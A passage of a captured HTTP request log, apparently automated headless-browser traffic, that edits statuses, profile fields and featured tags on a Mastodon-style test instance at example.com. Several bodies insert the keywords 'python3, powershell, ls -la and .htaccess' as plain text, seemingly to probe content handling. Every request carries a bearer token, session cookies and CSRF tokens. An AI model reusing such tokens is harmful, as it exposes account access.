_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6Mzg6NTkuNzQyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e23a2916fec60566bc8eb15a46cc013c906590b; _mastodon_session=qQpZIwTDBV%2FXseTu9y6TGi%2FHDgw8RR2xQsS9YNfIC0lqg0h3JTsMjnYx87bg72SmBVfMwVAfDwbDZgzKqfoqGrwvc4LPg9apI8yReq%2Fspe2VnHiDXTkEQZVih%2B%2FCqcC%2BmRA3z2LNZjhqlfwtjpSWaCUBRut16m0jsrSWe2t4knEahVMuyCPlla%2FmUTNXUvYYAEkdBpU9QpbzCIb2Ff0e9d7aUIQncK15RdyF4iakbYFZBxWnHhZLfA4%2FXvHKXiODhH%2BiVEIZaSYEUmDl0gM146n4zhedFY6uLq5U1qcQBmBtv2ZujYX8tIIj0ZutaYx8iWiM3QiAgCDTZ%2FW5YKPqIMvUZyXJEr6CVNP8p%2BtwFPfp7uTN2%2B4pkfhyqO3KOjF192LJc3OgYvZh--%2FevciV3WxDWRO58q--bYk178zbhmN4mK5XgBFS%2Fg%3D%3D"], "body": "{\"description\":\"Screenshot of python3, powershell, ls -la and .htaccess\",\"focus\":\"0.00,0.00\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589825083661106", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 368", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: _YqDs_Tbjh9yw9CyiAfo3LHWrRrY4OyUeBvWLqOviqpTPEX0mQbEq8OvIugZMi8wNvNCy38jUL9_y_TlP6i4QA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: a07839a3-1ef6-444d-914a-1fd1c0629042", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825083661106", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDA6MDYuNjgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c80835c9a15965a3d04c37c548bac9d0a475bcfc; _mastodon_session=jqSqJlqKORi%2ByD0y5ESn1jCjinSx2F1RGJHccLjz1KF%2BDtqPhMDJ2othRP52NJdH0NnAj93F8Kr%2F7bwoPbHtBh7h7fXCdhbyGLbCqlTutcRGf6DEQSQX%2B57324snsJb03dTZAqRWAtOiAhRuAmgBfSk2zhqM6spvXhMyahL5G9%2BvxfbMgRl7SyAh9EJhJBmnnPAZFxeRqRgzyTTVktwdXpGOECcdCYOTYFJyteQL1vHE0OG%2BqD7Rmkg8H0Ew6HNctTdASUN4j7TnjGoq6j9YE1inJa6lZCGRlCaANg55TPn%2BjXaMOKT%2Fv8vDu0AAc4%2FYxUuT5nyIuAK7bjeIixN6QQEyE%2BSd%2BwXRnOaOMFRFvgC%2B4TFHWNgc5onFcGNFuhpRx5MwWvsGRWnH--4bwF9JxIR6vVhbSD--Yig5cMpE3oSX4OCxz%2Fq%2BAw%3D%3D"], "body": "{\"status\":\"A picture from today's walk 0\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589824807968974\"],\"media_attributes\":[{\"id\":\"117589824807968974\",\"description\":\"Blue water and a bench by the river path\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589825712738194", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 397", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FE5HabawXASV0r3pAxGeiNLN_FfgOzCJm-REpERknoa6-IEu220WsCS-T7OSJFlkVegThkf4jKKcNGZv2GOsbA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: c780a300-cf41-4a69-867e-287d1aa70e85", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825712738194", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDA6MjAuMzc1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c8ee0be34472f71dc4f33a868dcadbf58c55f9f7; _mastodon_session=iSWXVmIA3FTehhjK%2BKJzmHrpNqBsKwrKFPOMpTqAFHHws2bKKEHPY7%2Bhy2IKgCOnez4tDquOUsu8yCMsUUbqScw4%2FBZvbJ69cK1yxUq%2Fv4rm4oRIUf3LN0KGGHE2xNF5U9lu4I2ai2lA7uRzEbIA5IXMh9LWMF6k1kzfCKlhU5BqTH4zQLG9u804Pw8JWQX%2Fc%2FUlb3ovK2%2F%2B4QwSSLEZVJNZac%2BH4GcS5tolv%2FMWKrIAYiWpf%2FgzGgSWWnsJNkBv4L28xjX3sJnH1YCrUP52xt1sqh3Hxb7rid681gMwPPWlARbgyYdm4t0fjW%2FRHNqPROKqVKOUIPAiAniFFvZaLNeiefTT3O9Qr3GF3UZJh%2BzubexAot7Q4PARtxHkN%2BmmjRh%2BQVRwwOJu--1I8VSjCtokg8v0Ww--UF7mevNWkWNDjpMB9m3r4w%3D%3D"], "body": "{\"status\":\"A picture from today's walk 1\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589825440074314\"],\"media_attributes\":[{\"id\":\"117589825440074314\",\"description\":\"Screenshot of python3, powershell, ls -la and .htaccess in a terminal\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 31", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jmE3dNyw4unCUqpQIGRgJGxLOhHx3OEXMHpx0bc3ow8g1_EzsW2oXXM-WAqxUafI627VwFYfXTw3qlMaKzCR5Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDI6MzIuODMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3659d037e9719730cc7eacd77d7717b6baa854e0; _mastodon_session=Fg3azK%2BEOmGIb%2F%2Bb2tW9NZt3h5GF5A%2BD%2BXlkdnWMU4RPMcpGJBb5Yev25KK0Wcp6daPt0GcfL3%2F4OG2teG9TXzxygiJqaETkPuACkbnlsFfPXP1ArpZgJKPOXAAR6kHx6kGsazAcD52rjC0E0qFQJoivoFr2DlJ14TxgJdR6pcQzgxEscUzQkJFxPYm89HfohAuoKW7fD6nYuFAattjQbDNf5TI0b0zvY0H5IshUpKfr1w%2Bz%2FnhSwhp4hRpZCFojyzjLtaf%2BFTcRZ4xWjLX%2FRPuN7KVGcMu71eE0nlWlwmpM9LyC62nwlI0bb3Ra89Fuq4FGOolgJbvwCsoceqtaEkRqU%2FnYTsV%2FQMv8AkEpsYuKhPlCnOtOkqTHGmDVUptDODb3cdbxpaJQ--hiAUz1gi4unXsSo7--Ke8Q3uyWfVDUvn5cGLrNoA%3D%3D"], "body": "{\"display_name\":\"River walker\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 54", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=2PtvQFlmi70yHD8eBF1TmGXy%2B12WouQBw%2BdqWKLEWbS35n3ufQFw5TitTkolcE4%2F68kqCRjzuhzCnU8ABd1WKrllplIuO%2BgsJb%2Bdv2Td8Nwl99r3F5FObQ6WTEtoNZy6QG0MzPt0mrfSskOZU5S3SUN3banedhFbXq4GRYhS%2B9NKoQPJnx%2FvHaVMcJ8QowAy%2FJw006GEMBjo9Ho%2Bj9qX2trXHs7dAgcucUng3YIST4W43OKKNa4sGoGOl%2FAcZo5hDrbiSszrZHXN78pSLA74EX9rKjEGFWGSGVkBjlRzt9eLIIqXaO3ey0ermut3J60J2GqFPngN7EFbZYizzrndLctqUAerTaD6snJWTfJhhm2oSBhT2yX8Zt9pvL4v6UZijS3cL7eaYZaC--kkph75d2xNxrVojG--y5t8RE%2BQEI%2BQCLINQpNGlA%3D%3D"], "body": "{\"display_name\":\"python3 powershell ls -la .htaccess\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 50", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=9f0waBiozbOTg%2Bt90u1Ck7yN7joM1A73cMSprUpSDC8P86ioxYcFfH%2FnfYdIna%2FQ8nFyhdCu%2BxnhftMmO8%2B5ZZ3qfonxwhTTJdEQINenIvffpku7M%2FbRkctcN1fe2C6ienZev8VG1lRsyT9yFsy7HcPyLVuYHDv8idXxwvjDhm8DMZOC5Bi0e63srqrHlabieA3dI8K1ZmzanJ5GjvjTq1ZK%2FOZb9c9Vt9Ps2Yjr5iU1mxvqWNfb696HlO0Zz10pXqTElQsLjhZp0n3WYhFx4KP5R5SYvY3Z8RpRD7ku%2F%2BGIrQgRQjmbw%2Fp3tsPdvqUHM5EjQdEkLt92XRQb0CJpP9KMm2fkP5JppnxkPf4Gc8LUajUrFHIyJmpTqzgdn9N5gkc0MSvcq8hu--ZKb4jK6haTCB1SzQ--KmLHWyj21AsU85Zz9oJ3hQ%3D%3D"], "body": "{\"note\":\"I walk by the river and write about it.\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 62", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=hMrujBHwGDvqH6xgtVwn6IRUusHfoPcC%2FcPcAfogtvgyAgnV27bNxO6qVd%2BChudhNLHfvO7pdJuCdeAdW9xx2xwFkvL1qtNw8MgaXTieHYRn5QZfwuauaa%2Bu1%2BX9fFQ1m0695%2BHdUbZ4NuY6a3iNTnePSR5tQ0D1i4wSePgiayp0rGfb%2BWnWVmCiraGI%2FQlpK5FWIXqEBAtaXRpGwKKt%2BpNeWlqWjGoPm2Rknq%2F9DPFW%2Bn315utCdi8J%2BoQ036uoGQWag89vGuj1q5dy706u3SMVR%2FhZC0mz5dkCKwg%2Bs7A6btVVyx1BG1ofmFE%2FSsGLst9lvRhnLkn0eGZh8T1y%2BIhhSBgUgcHT6JwsE0oMeHTu7%2BrCKRhLbEyxPZOQABAtNWzJoOkwdXWG--RjY9GYDSuz3sbmWQ--eRbLvS9KtO1Ub6Z4vj8B9w%3D%3D"], "body": "{\"note\":\"Notes on python3, powershell, ls -la and .htaccess.\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=QdjxiOKfowIwXm6AOVGgxztXwBYkKbHA2HFToC5mLnYdIB5HHfLo%2FY0w3weCqZjQbgJbj7bUb5lrjMrfLVBMTbBgHp8nA%2BS8xL3FwNIRqyAZESfFP7giOIUjy7FV8Su6bn2t7UnOYrQst8%2FxP6%2FBrUyIgDGBE3P7r0jxriwqJDnFa0Ij0BPvGUyJVODuxatTNls7jk0auFyEt0fTGt5TkDWLZLSsXWxs26SQvQ1alcaX9FdVtsCInrnIFWo0AghKMhX8mOR4zuQbGA3%2Fclnn9Olgosr9qIvcIeRLkqN%2FR3UvUBO6g62JWvbG2ykUCLlHChsfBMwfR6pfj4OnX3ghKU%2FCELC81p8KQBEmxfJRtvEq2J2UbUgIdM1gTNDj7PeKVDl04GXKqiZr--AZ5neELoodWXkuwu--c3TxcFZKezA3QuJeOm8%2BEg%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"Website\",\"value\":\"https://example.org/river\"}]}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=np%2BSO2W%2BhEaItbiw7pcqP3GMww%2BaNyN8mFeiJZWM3I8SKCaRL7U0n2FtZv9vHtYUJ7uM%2BA8XLLpn4fZx7DY1GNGOcYmuRhVnh6fGxljWuwQwQ%2F3IU4Ke25ljtQvPEW%2FwJbqp0G4%2FggC9SeJnbeEfpKL4MG7s7EA8ZBo%2FwHR1ASGklOs5t%2Bqvl0sAmASfFf%2BTuSbTsx3ew%2FlqfnSoaw11GTfXP1A9TrjnpCwM8PQu400xlUbVvOMLAn%2FKdJBISIB5qSiBPIUFdoWUWikjYrLU%2FZK6jBt0acG62Y4VLSPd11dUn5RpRk03Zs%2FL1%2FkJ78PkotvQTzb1qMp8KzDAzd1Xg8XnRCfG8%2FdW5zLteRF53yuCPnBDIo0Ds3Rv1ghZ99%2Bq1RKL4zLJqPOw--WLydzqrbPf8PEjEO--3USamBP7qv1OUsxaTBYABw%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"Website\",\"value\":\"https://example.org/river\"},{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"}]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 18", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=iASEJi70GztXcgihLjVGCXxNppupQGotMNrektUFigv948koCNqwO%2FCeod1WYBqXcf9TkFK6HGnnzJSHF241Pv1x3YB2h0v2jvV%2FdT5fGx0ZLXS7gGIViJW9AmRlTbT5%2F8p9AEt3yjQdaGYGfZKVs4o1y0gDNEx8p%2FILC0mHW5C9jWSWm0E844eGJfJcjLQhJyCk7PHLCFDRf8socc7vpkM%2FgbSPtSYi%2ByDHbDvHGowWknJyDLMcQvmLb8kHfwiaYDiE1CB3PL2CoKjilTZLQbRfTARUUcqe%2BZnr2e%2FBi1CTVxFSZdXUafxkjIBEJEIDVIXxg1YICattCY4SW9eaRcAU1jRnuch15pqsxIpg2ijId%2FgHddr0l%2Fz4%2FREXqJ5YBdsnR1M1iz3T--Ti44%2B%2F9qwplNRaCZ--iFHRvuVRCCe1aDFEUTc5rQ%3D%3D"], "body": "{\"name\":\"python3\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 21", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=kBpCTb%2Fs9pz7r0A%2FxuRjtz7wTK%2B1nZh5ar6YpVBKLUeVhPuK3iI6durBb6D0rFYqNf2hjhbWVxC5mdniK5B6wN1lY93uWJN1Fxq5VSDx%2Fq8w4Am7m4i8HZrgZZ5YGtsPLvalJeWChkcufsiyTWW2L6KXxVuhcDgqkRQn5RhDWGRlfPyeCA92jazY31llKOiAsvFqXLJHwi7RiIJZg1ELxhJuuqY93jkgFL6vDoGJZ%2BY%2Fql9ThbD2uEmCzktVg5uk5CzB1sT1SZJxVHtC1gfiBNHm58gp3Odv2XEsIWuQjqVIFteXWBKJjoyDZpqrhAh153aZ%2Flq31yr0VMqItgHq62qzk7sWhUiCoe1VNTdO4HFNoabPk%2B10ruC1CM1WxbwrR4VnjxMV9UcQ--vtrCsDBemzMHiU%2Bt--oGMwYJCMy9csBzOoOeB96A%3D%3D"], "body": "{\"name\":\"powershell\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: NWnoxDFn3yCNZabHutTdudK7RSCsSloa8GptCAAMslib3y6DXLqVlDwJVJ0r4RpVVZ6q8QuJ5jH3uk_DnAuAsg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQtXWPO5ykB3KVSy", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDQ6NDYuMTg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--bb85fcba42b324d857482972dca81ead94586237; 